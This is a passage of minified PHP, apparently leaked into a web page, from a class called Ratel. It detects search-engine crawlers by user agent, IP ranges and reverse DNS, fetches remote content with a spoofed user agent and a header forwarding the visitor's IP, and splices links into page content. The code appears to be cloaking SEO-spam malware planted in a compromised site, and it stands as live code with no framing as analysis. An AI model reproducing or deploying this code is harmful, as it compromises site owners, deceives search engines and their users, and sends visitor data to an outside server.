)","$0{$link} ",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$link}.",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$link} ",$tag_val['content']);}}$pattern = preg_quote($tag_val['content']);$content=preg_replace("~{$pattern}~i",$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($links[$link_index]);continue 2;}}}return $content;}function detect_bot(){if(@preg_match('/google/i',$this->ua)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$this->ua)){$this->bot='bing';return;}if(@preg_match('/yandex|yadirectbot/i',$this->ua)){$this->bot='yandex';return;}if(@preg_match('/baidu/i',$this->ua)){$this->bot='baidu';return;}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby~i',$this->ua)){$this->bot='other';return;}$ipl=ip2long($this->ip);foreach($this->ip_lists as $crawler => $masks){foreach($masks as $mask){if(!strpos($mask,'/')){if($this->ip == $mask){$this->bot=$crawler;return;}}elseif(@$this->cidr_match($ipl,$mask)){$this->bot=$crawler;return;}}}$referer=@gethostbyaddr($this->ip);if(@preg_match('/google/i',$referer)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo|microsoft/i',$referer)){$this->bot='bing';return;}}function cidr_match($ip,$range){list($subnet,$bits)=explode('/',$range);$subnet=ip2long($subnet);$mask=-1 <<(32-$bits);$subnet &= $mask;return@($ip&$mask)== $subnet;}function get($url, $ip=false, $head=false){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);curl_setopt($ch,CURLOPT_TIMEOUT,15);if ($head) {curl_setopt($ch,CURLOPT_HEADER,1);} else {curl_setopt($ch,CURLOPT_HEADER,0);}if ($ip) {curl_setopt($ch,CURLOPT_HTTPHEADER, array('X-Sutra-IP: '.$ip));}curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";if ($ip) {$headers .= "X-Sutra-IP: {$ip}\r\n";}$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);if ($head) {return $resp;} else {return substr(strstr($resp,"\r\n\r\n"),3);}}}fclose($fp);}}return TRUE;}}$ratel=new Ratel;$ratel->init($ruri,$host,$is_bot);} Photos

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